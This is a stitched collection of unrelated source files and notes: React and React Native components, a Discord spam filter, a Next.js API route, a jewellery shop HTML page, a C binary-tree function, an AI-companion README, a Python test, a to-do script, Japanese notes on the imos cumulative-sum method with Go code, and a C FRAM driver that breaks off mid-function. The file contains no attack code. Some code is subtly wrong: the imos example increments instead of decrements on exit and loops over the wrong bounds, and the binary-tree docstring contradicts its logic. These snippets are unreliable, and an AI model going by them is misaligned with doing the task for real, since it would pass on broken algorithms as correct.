agent.fit(elite_trajectories) trajectory = get_trajectory(env, agent, max_len=100, visualize=True) print('total reward:', sum(trajectory['rewards'])) np.savetxt('stoc_pol_q_'+str(q_param)+'__sample_n_'+str(samples_number)+'__traj_per_samp_'+str(trajectory_n_per_realisation)+'.txt',np.array(hist)) #print('model:') #print(agent.model)
/* eslint-disable no-unsafe-optional-chaining */ import { motion } from "framer-motion"; import { useTranslation } from "react-i18next"; import { Tabs, Tab, RadioGroup, Radio, Button } from "@nextui-org/react"; import { FC, useEffect, useState } from "react"; import { useSelector } from "react-redux"; import { getValidArr } from "@/components/entities/quiz/model/selectors/validQuizSelectors"; import { QuizQuestionType } from "@/components/shared/types/interface"; import { useAppDispatch } from "@/providers/storeProvider"; import { validationQuizActions } from "@/components/entities/quiz/model/slice/validationQuizSlice"; import { educationActions } from "@/components/entities/education/model/slice/educationSlice"; import { animationOpacity } from "@/components/shared/styles/motion/animation"; interface PropsType { styles: { readonly [key: string]: string; }; questionToIterate: QuizQuestionType; isArabicLanguage: boolean; questionNumber: number; setQuestionNumber: any; questions: Array<QuizQuestionType>; options?: Array<{ value: string; label: string; }>; answers?: Array<{ value: string; label: string; }>; } const TabsQuestions: FC<PropsType> = (props) => { const { styles, questionToIterate, isArabicLanguage, questionNumber, setQuestionNumber, questions, options, } = props; const [selected, setSelected] = useState<any>("0"); const dispatch = useAppDispatch(); const validArr = useSelector(getValidArr); const [answerArr, setAnswerArr] = useState<any>([]); const { t } = useTranslation(); const [valid, setValid] = useState(false); const [defaultValue, setDefaultValue] = useState<any>(); useEffect(() => { setAnswerArr({ question_id: questionToIterate.id, choices: questionToIterate.answers.map(() => { return { id: 0, belongsTo: 0, }; }), }); setDefaultValue( questionToIterate.answers.map(() => { return { flag: null, }; }) ); }, []); useEffect(() => { defaultValue?.forEach((item: any) => { if (item.flag) { setValid(true); } else { setValid(false); } }); }, [answerArr]); const tempSubmit = async () => { if (validArr && answerArr) { // const id = answerId.split("||"); await dispatch( validationQuizActions.setValidArrStep([...validArr, answerArr]) ); } if (questionNumber !== questions?.length - 1) // eslint-disable-next-line no-return-assign setQuestionNumber((prev: any) => (prev += 1)); if (questionNumber === questions?.length - 1) { dispatch(educationActions.setQuizLayoutAsDiagram()); } }; const btnLabel = () => { if (!valid) return t("Test.Main.match"); if (questionNumber + 1 === questions?.length) return t("Test.Main.finish"); return t("Test.Main.next"); }; return ( <div className={styles.groupWrapper}> <motion.div {...animationOpacity} transition={{ duration: 0.5, stiffness: 0, ease: "backInOut", }} > <Tabs className={styles.questions} selectedKey={selected} onSelectionChange={setSelected} > {questionToIterate?.answers?.map((question, index) => ( <Tab key={index} title={index + 1}> <p className={`${styles.optionTitle} ${ isArabicLanguage && styles.arabicOptionTitle }`} > {question.text} </p> <RadioGroup defaultValue={defaultValue?.[index]?.flag} onValueChange={(e: any) => { setAnswerArr((prev: any) => { const updatedChoices = [...prev.choices]; updatedChoices[index] = { id: questionToIterate?.answers?.[index].id, belongsTo: e.split("||")[0], }; return { question_id: questionToIterate.id, choices: updatedChoices, }; }); setDefaultValue((prev: any) => { const updatedFlags = [...prev]; updatedFlags[index] = { flag: e, }; return updatedFlags; }); }} className={styles.group} > {options?.map((answer) => { return ( <Radio className={`${styles.choice} ${ isArabicLanguage && styles.choiceArabic }`} key={`${answer.value}-${index}`} value={answer.value} > {answer.label} </Radio> ); })} <div className="w-full flex justify-end"> <Button isLoading={ // eslint-disable-next-line no-unsafe-optional-chaining selected === `${questionToIterate?.answers.length - 1}` } variant="light" spinner={<span className="hidden" />} onClick={() => setSelected((prev: any) => `${+prev + 1}`)} > Дальше </Button> </div> </RadioGroup> </Tab> ))} </Tabs> </motion.div> <div className={styles.buttonWrapper}> <Button className="text-white w-[fit-content] h-[34px] text-base bg-black border-2 border-black hover:border-pinkColor border-solid hover:bg-pinkColor transition" variant="bordered" isLoading={!valid} type="submit" spinner={<span className="hidden" />} onClick={tempSubmit} > {btnLabel()} </Button> </div> </div> ); }; export default TabsQuestions;
import { ChannelType, Message } from 'discord.js'; import { TIMEOUT_MIN } from '../config'; import { filterMessages, isOwnMessage } from './messages'; import { addStrike, getStrikeCount } from './strikes'; const checkCaps = (str: string) => { let counter = 0; if (str.length < 60) return false; for (const char of str) { if (char === char.toUpperCase()) counter++; } if (counter >= 60) return true; return false; }; const checkRepeatedWords = (str: string) => { const words = str .replace(/[.,\/#!$%\^&\*;:{}=\-_`~()]/g, '') .replace(/\s{2,}/g, ' ') .split(' '); for (const firstWord of words) { let counter = 0; if (firstWord.length < 3) continue; for (const secondWord of words) { if (firstWord.toLowerCase() === secondWord.toLowerCase()) counter++; if (words.length > 5 && counter >= words.length / 2) return true; } } return false; }; const checkPings = (pings: number) => pings >= 3; const checkRepeatedMessages = async (message: Message) => { try { const list = await filterMessages(message.channel.messages, message.author.id); if (!list) return false; return ( list .filter(repeat => repeat.id !== message.id && repeat.content === message.content) .map(x => x).length >= 3 ); } catch (error) { throw error; } }; const checkSpam = async (message: Message) => { try { if (checkPings(message.mentions.users.size)) { return 'Too many pings!'; } if (checkCaps(message.content.replace(/[^\w]/g, ''))) { return 'No shouting!'; } if (checkRepeatedWords(message.content) || (await checkRepeatedMessages(message))) { return 'No spammming!'; } } catch (error) { throw error; } }; export const hasSpam = async (message: Message) => { try { if ( !message.member || message.member?.permissions.has('ManageMessages') || message.channel.type !== ChannelType.GuildText || !message.content ) return; const reply = await checkSpam(message); if (!reply) return; message.delete(); if (await isOwnMessage(message.channel.messages, reply, message.author.id)) return; addStrike(message.author.id); const strikes = getStrikeCount(message.author.id); if (strikes > 1) { message.member.timeout(TIMEOUT_MIN * (strikes - 1) * 60 * 1000, reply); } message.reply(reply); } catch (error) { throw error; } };
/* eslint-disable consistent-return */ // pages/api/projects/[id].ts import type { NextApiRequest, NextApiResponse } from "next"; import { ObjectId } from "mongodb"; // Import ObjectId for handling MongoDB's _id field import axios from "axios"; import clientPromise from "../../../lib/mongodb"; export default async function handler( req: NextApiRequest, res: NextApiResponse ): Promise<void> { const { query: { id }, } = req; // Destructure the id from the query const client = await clientPromise; const db = client.db("llmdetection"); const collection = db.collection("analysis"); if (req.method === "GET") { try { console.log("%c[id].page.tsx line:21 id", "color: #007acc;", id); const project = await collection.findOne({ project_id: id, }); // Use ObjectId for proper querying if (!project) { return res.status(404).json({ message: "Project not found" }); } res.status(200).json(project); } catch (error) { res.status(500).json({ error: (error as any).message }); } } if (req.method === "POST") { try { // Define the request body const requestBody = { password: process.env.API_PASSWORD, project_id: id as string, // Cast id to string if it's not already }; // Make a POST request to the external API with the requestBody const response = await axios.post( "https://apillmdetection.vinroger.com/analysis", requestBody ); // Send the response back to the client res.status(200).json(response.data); } catch (error) { // Handle errors in the POST request res.status(500).json({ error: (error as any).message }); } } else { // Handle other HTTP methods or return an error res.setHeader("Allow", ["GET"]); res.status(405).end(`Method ${req.method} Not Allowed`); } }
import React from "react"; import { auth } from "../../firebase/firebase.utils"; import { ReactComponent as Logo } from "../../assets/crown.svg"; //special syntax for importing svg in react import { HeaderContainer, LogoContainer, OptionsContainer, OptionLink, } from "./header.styles"; import { useSelector } from "react-redux"; import CartIcon from "../cart-icon/cart-icon.component"; import CartDropdown from "../cart-dropdown/cart-dropdown.components"; import { selectCartVisibility } from "../../redux/cart/cart.selectors"; import { selectCurrentUser } from "../../redux/user/user.selectors"; function Header() { const currentUser = useSelector((state) => selectCurrentUser(state)); const cartVisibility = useSelector((state) => selectCartVisibility(state)); return ( <HeaderContainer> <LogoContainer to="/"> <Logo className="logo" /> </LogoContainer> <OptionsContainer> <OptionLink to="/shop">SHOP</OptionLink> <OptionLink to="/contact">OPTION</OptionLink> {currentUser ? ( <OptionLink as="div" onClick={() => auth.signOut()}> SIGN-OUT </OptionLink> ) : ( <OptionLink to="/signin">SIGN-IN</OptionLink> )} <CartIcon /> </OptionsContainer> {cartVisibility ? <CartDropdown /> : null} </HeaderContainer> ); } export default Header;
<!DOCTYPE html> <html> <head> <title>Forever Jewels</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css"> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.0/css/all.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script> </head> <body style="padding-top: 70px;"> <!-- Navigation --> <nav class="navbar navbar-expand-lg navbar-dark bg-info fixed-top"> <div class="container"> <a class="navbar-brand" href="#">Forever Jewels</a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav ml-auto"> <li class="nav-item active"> <a class="nav-link" href="#">Home <span class="sr-only">(current)</span> </a> </li> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="navbardrop" data-toggle="dropdown">Shop</a> <div class="dropdown-menu"> <a class="dropdown-item" href="#">Shopping Cart</a> <a class="dropdown-item" href="#">Product Page</a> <a class="dropdown-item" href="#">Checkout</a> </div> </li> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" id="navbardrop" data-toggle="dropdown">Categories</a> <div class="dropdown-menu"> <a class="dropdown-item" href="#">Diamond</a> <a class="dropdown-item" href="#">Gold</a> <a class="dropdown-item" href="#">Platinum</a> <a class="dropdown-item" href="#">Silver</a> </div> </li> <li class="nav-item"> <a class="nav-link" href="#">WishList</a> </li> <li class="nav-item"> <a class="nav-link" href="#">Contact Us</a> </li> <li class="nav-item"> <form class="form-inline" action="#"> <input class="form-control mr-sm-2" type="text" placeholder="Search"> <button class="btn btn-dark" type="submit"><span class="fa fa-search"></span> Search</button> </form> </li> </ul> </div> </div> </nav> </div> <div class="container-fluid bg-secondary"> <div class="row"> <div class="col-sm-12 "> <p class="text-justify text-white"> Every Forever Jewel inscribed diamond comes with a promise that it is beautiful, rare and responsibly sourced. This promise is symbolized by the unique inscription at its heart.The Foreverjewel promise means not only that each Foreverjewel diamond is beautiful and rare but also that it has been responsibly sourced. Discover Foreverjewel’s commitments to preserving natural habitats, supporting local economies and providing communities with work initiatives. </p> </div> </div> </div> <div class="container"> <div class="row img-responsive"> <div class="col-lg-12"> </div> <div class="col-md-4 col-lg-3 col-sm-6"> <a href="#" class="thumbnail"> <img src="https://www.freepngimg.com/thumb/jewelry/13-diamond-earrings-png-image.png" height="240" width="250"> </a> </div> <div class="col-md-4 col-lg-3 col-sm-6"> <a href="#" class="thumbnail"> <img src="https://www.freepngimg.com/thumb/jewelry/29-silver-rings-with-diamonds-png.png" height="250" width="250"> </a> </div> <div class="col-md-4 col-lg-3 col-sm-6"> <a href="#" class="thumbnail"> <img src="https://www.freepngimg.com/thumb/jewellery/26888-7-jewellery-chain-transparent-background.png" height="250" width="250"> </a> </div> <div class="col-md-4 col-lg-3 col-sm-6"> <a href="#" class="thumbnail"> <img src="https://www.freepngimg.com/thumb/jewellery/27073-1-jewellery-necklace-transparent-background.png" height="250" width="250"> </a> </div> <div class="container text-center"> <div class="row"> <div class="col-sm-4 "> <p><h3>Jewellery For Different Occasions</h3></p> <div class="Jewellery For Different Occasions "> <nav class="nav navbar-nav"> <div class="nav-item nav-link"><a href="#">Indian Wedding</a></div> <div class="nav-item nav-link"><a href="#">Engagement</a></div> <div class="nav-item nav-link"><a href="#">Everyday wear</a></div> <div class="nav-item nav-link"><a href="#">Formal Wear</a></div> </nav> </div> </div> <div class="col-sm-4"> <p><h3>Forever Jewels Collections</h3></p> <p>Whether it's for a special gift or a treat for yourself, discover the beautiful collection of Forever Jewel diamond jewellery. Browse through inspiring engagement rings, decorative bracelets and elaborate earrings, each designed to showcase the true beauty of a Forever Jewels diamond.</p> </div> <div class="col-lg-4 bg-info"> <h2 >Login To Shop</h2> <form action="#"> <div class="form-group"> <label for="uname">Username</label> <input type="uname" class="form-control" placeholder="Enter user name" id="uname"> </div> <div class="form-group"> <label for="pwd">Password:</label> <input type="password" class="form-control" placeholder="Enter password" id="pwd"> </div> <div class="form-group form-check"> <label class="form-check-label"> </label> </div> <button type="submit" class="btn btn-warning">Submit</button> </form> </div> </div> </div><br> </body> </html>
#include "binary_trees.h" /** * binary_tree_nodes - counts the nodes with only one child; * @tree: pointer to the root node. * Return: the total count. */ size_t binary_tree_nodes(const binary_tree_t *tree) { size_t nodes = 0; if (!tree) return (0); if (!tree->left && !tree->right) return (0); if (tree->left && tree->right) return (1 + binary_tree_nodes(tree->left) + binary_tree_nodes(tree->right)); if ((tree->left && !tree->right) || (!tree->left && tree->right)) nodes++; nodes += binary_tree_nodes(tree->left) + binary_tree_nodes(tree->right); return (nodes); }
# SaaS AI Companion built with Next.js 13, React, Tailwind, Prisma, Cloudinary API, Stripe, Clerk Auth. [Live demo](https://ai-companion-gules.vercel.app/) This is an experimental project to create and host AI companions that you can chat with on a browser. It allows you to determine the personality and backstory of your companion, and uses a vector database with similarity search to retrieve and prompt so the conversations have more depth. It also provides conversational memory by keeping the conversation in a queue and including it in the prompt. It currently contains companions on both ChatGPT and Vicuna hosted on Replicate. There are many possible use cases for these companions - romantic (AI girlfriends / boyfriends), friendship, entertainment, coaching, etc. You can guide your companion towards your ideal use case with the backstory you write and the model you choose. **Note:** This project is purely experimental. If you're interested in what a production open source platform looks like, check out [Steamship](https://www.steamship.com/). Or what the leading AI chat platforms look like, check out [Character.ai](https://beta.character.ai/). Features: - Tailwind design - Tailwind animations and effects - Full responsiveness - Clerk Authentication (Email, Google, 9+ Social Logins) - Client form validation and handling using react-hook-form - Server error handling using react-toast - Image Generation Tool (Open AI) - Conversation Generation Tool (Open AI) - Page loading state - Stripe monthly subscription - Free tier with API limiting - How to write POST, DELETE, and GET routes in route handlers (app/api) - How to fetch data in server react components by directly accessing database (WITHOUT API! like Magic!) - How to handle relations between Server and Child components! - How to reuse layouts - Folder structure in Next 13 App Router ## Prerequisites Node version 18.x.x ## Cloning the repository ```bash git clone https://github.com/oplevan/ai-companion.git ``` ## Install packages ```bash npm i ``` ## Setup .env file ```bash NEXT_PUBLIC_CLERK_PUBLISHABLE_KEY= CLERK_SECRET_KEY= NEXT_PUBLIC_CLERK_SIGN_IN_URL=/sign-in NEXT_PUBLIC_CLERK_SIGN_UP_URL=/sign-up NEXT_PUBLIC_CLERK_AFTER_SIGN_IN_URL=/ NEXT_PUBLIC_CLERK_AFTER_SIGN_UP_URL=/ OPENAI_API_KEY= REPLICATE_API_TOKEN= PINECONE_API_KEY= PINECONE_ENVIRONMENT= PINECONE_INDEX= UPSTASH_REDIS_REST_URL= UPSTASH_REDIS_REST_TOKEN= NEXT_PUBLIC_CLOUDINARY_CLOUD_NAME= DATABASE_URL= STRIPE_API_KEY= STRIPE_WEBHOOK_SECRET= NEXT_PUBLIC_APP_URL="http://localhost:3000" ``` ## Setup Prisma Add MySQL Database (I used PlanetScale) ``` npx prisma db push ``` ## Seed categories: ``` node scripts/seed.ts ``` ## Start the app ``` npm run dev ``` Open [http://localhost:3000](http://localhost:3000) with your browser to see the result.
import CardLogo from "../../assets/images/icons/cardLogo"; interface Props { selectedValue: string; options: any[]; onChange: (event: React.ChangeEvent<HTMLInputElement>) => void; inputClass?: string; className?:string; } export default function CustomRadioButton({ selectedValue, options, onChange, inputClass, className }: Props) { return ( <div className={`flex flex-wrap ${className}`}> {options.map(({ value, label, logo }) => { return ( <div className="flex justify-between items-center py-3 w-full" key={label}> <div className="flex items-center w-full"> <input className={`form-radio mr-2 h-8 w-8 text-transparent checked:border-red-500 checked:border-2 checked:bg-radioBlack checked:bg-[length:4rem_3rem] focus:!border-red-500 focus:border-2 focus:ring-transparent hover:!border-red-700 ${inputClass}`} type="radio" name={label} id={label} value={value} checked={value === selectedValue} onChange={(e) => onChange(e)} /> <label className="inline-block text-gray-800" htmlFor={label} > {label} </label> </div> { value === "card" ? ( <CardLogo/> ): (logo)} </div> ); })} </div> ); }
from classifycopynumber.transformations import aggregate_adjacent import pkg_resources import pandas as pd import numpy as np def get_testdata(): return { "aggregate_adjacent_testdata":pkg_resources.resource_stream(__name__, 'testdata/A90554A_reads.csv'), } def setup_test_aggregate_adjacent(filename): data = pd.read_csv( filename, usecols=['chr', 'start', 'end', 'width', 'state', 'copy', 'reads', 'cell_id'], dtype={'chr': 'category', 'cell_id': 'category'}) data = ( data .groupby([ 'chr', 'start', 'end', 'width']) .agg({'state': 'median', 'copy': np.nanmean, 'reads': 'sum'}) .reset_index()) return data def test_aggregate_adjacent(hmmcopy_file="default"): if hmmcopy_file == "default": hmmcopy_file = get_testdata()["aggregate_adjacent_testdata"] unaggregated = setup_test_aggregate_adjacent(hmmcopy_file) aggregated = aggregate_adjacent( unaggregated, value_cols=['state'], stable_cols=['state'], length_normalized_cols=['copy'], summed_cols=['reads'], ) def check_states(cnv_chr): assert 0 not in cnv_chr.state.diff().tolist() assert all(aggregated.groupby("chr").apply(check_states))
const toDoForm = document.querySelector(".js_toDoForm"), toDoInput = toDoForm.querySelector("input"), toDoList = document.querySelector(".js_toDoList"); const TODOS_LS = "toDos"; let toDos = []; function updateId(){ let id =1; toDos.forEach(function(ToDo){ //HTML의 li에 부여된 id 값을 수정 document.getElementById(`${ToDo.id}`).id=id; //toDos list에 들어있는 id 값 수정 //local storage 의 값은 추후 saveToDos를 통해 수정 ToDo.id=id; id=id+1; }); } function deleteToDo(event) { const btn = event.target; const li = btn.parentNode; // 삭제 해야할 li toDoList.removeChild(li); //toDoList(ul)의 자식 노드인 li를 삭제 //삭제해야하는 li를 지정 const cleanToDos = toDos.filter(function (ToDo) { if(toDos.length===0){ return false; } // btn.parentNode 의 id 와 다른 값만 골라서 새로운 배열 //->event가 발생한 li 를 빼고 배열 생성 return ToDo.id !== parseInt(li.id); }); toDos = cleanToDos; updateId(); saveToDos(); } function saveToDos() { localStorage.setItem(TODOS_LS, JSON.stringify(toDos)); } function paintToDo(text) { // 화면에 추가(그리기) const li = document.createElement("li"); const delBtn = document.createElement("button"); const span = document.createElement("span"); const newId = toDos.length + 1; delBtn.innerText = "delete"; delBtn.addEventListener("click", deleteToDo); span.innerText = text; // empty li에 생성한 span 과 delBtn 추가 li.appendChild(delBtn); li.appendChild(span); li.id = newId toDoList.appendChild(li); // 생성한 li 를 ul 으로 추가 const toDoObj = { text: text, id: newId } toDos.push(toDoObj); saveToDos(); } function handleSubmit(event) { event.preventDefault(); const currentValue = toDoInput.value; paintToDo(currentValue); toDoInput.value = ""; } function loadToDos() { const loadedToDos = localStorage.getItem(TODOS_LS); if (loadedToDos !== null) { const parsedToDos = JSON.parse(loadedToDos); // for(let i=0 ; i<parsedToDos.length;i++){ // console.log(parsedToDos[i].text); } parsedToDos.forEach(function (toDo) { paintToDo(toDo.text); }) } } function init() { loadToDos(); toDoForm.addEventListener("submit", handleSubmit); } init();
# いもす法 累積和のアルゴリズムを多次元, 多次数に拡張したもの. <https://imoz.jp/algorithms/imos_method.html> ## 1 次元 0 次いもす法 ### 問題例 あなたは喫茶店を経営している. あなたの喫茶店を訪れたそれぞれのお客さん $i ~ (0 \leq i \leq C)$ について, 入店時刻 $S_i$ と出店時刻 $E_i$ が与えられる $(0 \leq S_i \leq E_i \leq T)$. 同時刻にお店にいた客の数の最大値 $M$ を求めよ. ただし, 同時刻に出店と入店がある場合は出店が先に行われるものとする. ### ナイーブな解法 それぞれのお客さんについて, 滞在した各時刻のカウントを $1$ 足す方法が挙げられる. 計算量は $O(CT)$ である. ```golang table := make([]int, T) // O(CT) for i := 0; i < C; i++ { for j := S[i]; j < E[i]; j++ { table[j]++ } } M := 0 for i := 0; i < T; i++ { Chmax(&M, table[i]) } ``` ### いもす法による解法 出入り口でのカウントのみをするという発想で, 入店時に $+1$, 出店時に $-1$ を記録しておき, 答えを求める直前に全体をシミュレートする. 記録には $O(C)$, シミュレートには $O(T)$ かかるので全体としては $O(C + T)$ となる. ```golang table := make([]int, T) // O(C) for i := 0; i < C; i++ { table[S[i]]++ // 入店処理 table[E[i]]++ // 出店処理 } // O(T) for i := 1; i < T; i++ { table[i] += table[i-1] } M := 0 for i := 0; i < T; i++ { Chmax(&M, table[i]) } ``` ## 二元一次いもす法 ### 問題例 あなたはさまざまな種類のモンスターを捕まえるゲームをしている. 今あなたがいるのは $W \times H$ のタイルからなる草むらである. この草むらでは $N$ 種類のモンスターが現れる. モンスター $i$ は $A_i \leq x < B_i, C_i \leq y < D_i$ の範囲にしか現れない. このゲームを効率的に進めるため, 1つのタイル上で現れるモンスターの種類の最大値が知りたい. ### ナイーブな解法 それぞれのモンスターについて, 現れる矩形の範囲に含まれる全てのタイルについて $1$ を足す方法が挙げられる. 計算量は $O(NWH)$ である. ```golang tiles := make([][]int, H) for i := 0; i < H; i++ { tiles[i] = make([]int, W) } for i := 0; i < N; i++ { for y := C[i]; y < D[i]; y++ { for x := A[i]; x < B[i]; x++ { tiles[y][x]++ } } } max := 0 for y := 0; y < H; y++ { for x := 0; x < W; x++ { Chmax(&max, tiles[y][x]) } } ``` ### いもす法による解法 いもす法では, 矩形の左上 $(A_i, C_i)$ と 右下 $(B_i, D_i)$ に $+1$, 右上 $(A_i, D_i)$ と左下 $(B_i, C_i)$ に $-1$ を加算し, 答えを求める直前に累積和を計算する. 記録には $O(N)$, 累積和の計算には $O(WH)$ かかるので, 全体で $O(N + WH)$ かかる. ```golang tiles := make([][]int, H) for i := 0; i < H; i++ { tiles[i] = make([]int, W) } // 重みの加算 for i := 0; i < B; i++ { tiles[C[i]][A[i]]++ tiles[C[i]][B[i]]-- tiles[D[i]][A[i]]-- tiles[D[i]][B[i]]++ } // 横方向の累積和 for y := 0; y < H; y++ { for x := 1; w < W; x++ { tiles[y][x] += tiles[y][x-1] } } // 縦方向の累積和 for y := 1; y < H; y++ { for x := 0; x < W; x++ { tiles[y][x] += tiles[y-1][x] } } max := 0 for y := 0; y < H; y++ { for x := 0; x < W; x++ { Chmax(&max, tiles[y][x]) } } ```
import { useMemo, useState } from "react"; import { useColorScheme } from "react-native"; import { StatusBar } from "expo-status-bar"; import { PaperProvider, MD3LightTheme, MD3DarkTheme, BottomNavigation, } from "react-native-paper"; import { useMaterial3Theme } from "@pchmn/expo-material3-theme"; import Home from "../components/Home"; import SalahTimes from "../components/SalahTimes"; import Settings from "../components/Settings"; import Quran from "../components/Quran"; const App = () => { const colorScheme = useColorScheme(); const { theme } = useMaterial3Theme({ fallbackSourceColor: "#37306B" }); const [index, setIndex] = useState(0); const [routes] = useState([ { key: "home", title: "Home", focusedIcon: "home", unfocusedIcon: "home-outline", }, { key: "times", title: "Salah Times", focusedIcon: "timer-sand", unfocusedIcon: "timer-sand-empty", }, // { // key: "settings", // title: "Settings", // focusedIcon: "wrench", // unfocusedIcon: "wrench-outline", // }, // { // key: "quran", // title: "Quran", // focusedIcon: "book-open-page-variant", // unfocusedIcon: "book-open-variant", // }, // { // key: "hadith", // title: "Hadith", // focusedIcon: "book-open-page-variant", // unfocusedIcon: "book-open-variant", // }, ]); const paperTheme = useMemo( () => colorScheme === "light" ? { ...MD3LightTheme, colors: theme.dark } : { ...MD3DarkTheme, colors: theme.light }, [colorScheme, theme] ); const HomeRoute = () => <Home />; const PrayerRoute = () => <SalahTimes />; // const SettingsRoute = () => <Settings />; // const QuranRoute = () => <Quran />; // const HadithRoute = () => <Hadith />; const renderScene = BottomNavigation.SceneMap({ home: HomeRoute, times: PrayerRoute, // settings: SettingsRoute, // quran: QuranRoute, // hadith: HadithRoute, }); return ( <PaperProvider theme={paperTheme}> <StatusBar translucent style="inverted" /> <BottomNavigation shifting sceneAnimationType="opacity" navigationState={{ index, routes }} onIndexChange={setIndex} renderScene={renderScene} /> </PaperProvider> ); }; export default App;
/** ****************************************************************************** * @file fram.c * @author Austral Electronics * @version V1.0 * @date 22/03/2022 * @brief Thunderball H7 fram functions ****************************************************************************** * * */ #include "fram.h" #define WRITE 0x02; #define READ 0x03; #define FASTREAD 0x0B; #define DUMMY 0xAA; uint8_t WRITEENABLE = 0x06; uint8_t STATUSREGISTER = 0x05; uint8_t DEVICEID = 0x9F; uint8_t RDSR = 0x05; uint8_t WRSR = 0x01; uint8_t WRDI = 0x04; uint16_t csPin; GPIO_TypeDef *csPort; SPI_HandleTypeDef hspi; /** * @brief Init a SPI FRAM * @note Optimized for: FM25V02 * @param _hspi NVM address (in bytes) * @param _csPin pointer to data to write * @param _csPort Bytes number to write * @retval None */ void FramInit(SPI_HandleTypeDef _hspi, GPIO_TypeDef *_csPort, uint16_t _csPin) { csPin = _csPin; csPort = _csPort; hspi = _hspi; } /** * @brief Write data to FRAM * @note Optimized for: FM25V02 * @param address NVM address (in bytes) * @param pdata pointer to data to write * @param nbbytes Bytes number to write * @retval None */ void FramWrite(uint16_t address, void *pdata, uint32_t nbbytes) { uint8_t *p = pdata; uint8_t txBuffer[3] = {0}; txBuffer[0] = WRITE; txBuffer[1] = (uint8_t)((address & 0xFF00) >> 8); txBuffer[2] = (uint8_t)(address & 0x00FF); // DBG("-I- FRAM - Byte write: 0x%2X 0x%2X 0x%2X 0x%2X at 0x%4X\r\n",p[3],p[2],p[1],p[0], address); HAL_GPIO_WritePin(csPort, csPin, PIN_RESET); /* CS = 0 */ HAL_SPI_Transmit(&hspi, &WRITEENABLE, 1, 1000); /* Send SPI a write enable */ WAIT_TX_BUF_EMPTY(hspi); /* Wait for SPI Tx buffer empty */ HAL_GPIO_WritePin(csPort, csPin, GPIO_PIN_SET); /* CS=1 */ HAL_GPIO_WritePin(csPort, csPin, PIN_RESET); /* CS = 0 */ HAL_SPI_Transmit(&hspi, &txBuffer[0], sizeof(txBuffer), 1000); /* Send SPI a write data opcode */ WAIT_TX_BUF_EMPTY(hspi); /* Wait for SPI Tx buffer empty */ while (nbbytes--) { /* Send data byte per byte */ WAIT_TX_BUF_EMPTY(hspi); /* Wait for SPI Tx buffer empty */ HAL_SPI_Transmit(&hspi, p++, 1, 1000); /* Send SPI data */ } WAIT_TX_BUF_EMPTY(hspi); /* Wait for SPI Tx buffer empty */ HAL_GPIO_WritePin(csPort, csPin, PIN_SET); /* CS=1 */ } /** * @brief Write a 32 bits word to FRAM * @note Optimized for: FM25V02 * @param address NVM address (in bytes) * @param data data to write * @retval None */ void FramWrite32(uint16_t address, uint32_t data) { uint8_t txBuffer[7] = {0}; txBuffer[0] = WRITE; txBuffer[1] = (uint8_t)((address & 0xFF00) >> 8); txBuffer[2] = (uint8_t)(address & 0x00FF); txBuffer[3] = (uint8_t)(data & 0x000000FF); txBuffer[4] = (uint8_t)((data & 0x0000FF00) >> 8); txBuffer[5] = (uint8_t)((data & 0x00FF0000) >> 16); txBuffer[6] = (uint8_t)((data & 0xFF000000) >> 24); // DBG("-I- FRAM - Byte write: 0x%2X 0x%2X 0x%2X 0x%2X at 0x%5X\r\n",txBuffer[6],txBuffer[5],txBuffer[4],txBuffer[3], address); HAL_GPIO_WritePin(csPort, csPin, PIN_RESET); /* CS = 0 */ HAL_SPI_Transmit(&hspi, &WRITEENABLE, 1, 1000); /* Send SPI a write enable */ WAIT_TX_BUF_EMPTY(hspi); /* Wait for SPI Tx buffer empty */ HAL_GPIO_WritePin(csPort, csPin, GPIO_PIN_SET); /* CS=1 */ HAL_GPIO_WritePin(csPort, csPin, PIN_RESET); /* CS = 0 */ HAL_SPI_Transmit(&hspi, &txBuffer[0], sizeof(txBuffer), 1000); /* Send SPI a write data opcode */ WAIT_TX_BUF_EMPTY(hspi); /* Wait for SPI Tx buffer empty */ HAL_GPIO_WritePin(csPort, csPin, PIN_SET); /* CS=1 */ } /** * @brief Read a bytes in FRAM * @note Optimized for: FM25V02 * @param address NVM address (in bytes) * @param pdata pointer to data to read * @param nbbytes Bytes number to read * @retval None */ uint8_t FramRead(uint16_t Address, void *pdata, uint32_t nbbytes) { uint8_t *p = pdata; #ifdef USE_FASTREAD uint8_t Buffer[4] = {0}; Buffer[0] = FASTREAD; Buffer[3] = DUMMY; #else uint8_t Buffer[3] = {0}; Buffer[0] = READ; #endif Buffer[1] = (uint8_t)((Address & 0xFF00) >> 8); Buffer[2] = (uint8_t)(Address & 0x00FF); HAL_GPIO_WritePin(csPort, csPin, PIN_RESET); /* CS = 0 */ HAL_SPI_Transmit(&hspi, &Buffer[0], sizeof(Buffer), 1000); /* Send SPI a write data opcode */ WAIT_TX_BUF_EMPTY(hspi); /* Wait for SPI Tx buffer empty */ HAL_SPI_Receive(&hspi, p, nbbytes, 1000); /* Read SPI data */ HAL_GPIO_WritePin(csPort, csPin, PIN_SET); /* CS=1 */ HAL_Delay(1); // DBG("-I- FRAM - Byte read: 0x%2X 0x%2X 0x%2X 0x%2X @ 0x%5X\r\n",p[3],p[2],p[1],p[0],Address); // DBG("-I- FRAM - Byte read: %1X %1X %1X %1X @ 0x%5X\r\n",p[3],p[2],p[1],p[0],Address); return 1; } uint8_t getDeviceId(void) { uint8_t RxBuffer[9] = {0}; HAL_GPIO_WritePin(csPort, csPin, PIN_RESET); // CS = 0 HAL_SPI_Transmit(&hspi, &DEVICEID, 1, 1000); HAL_SPI_Receive(&hspi, &RxBuffer[0], sizeof(RxBuffer), 1000); HAL_GPIO_WritePin(csPort, csPin, PIN_SET); // CS = 1 return 1; } uint8_t getStatusRegister(void) { uint8_t status; HAL_GPIO_WritePin(csPort, csPin, PIN_RESET); // CS = 0 HAL_SPI_Transmit(&hspi, &STATUSREGISTER, 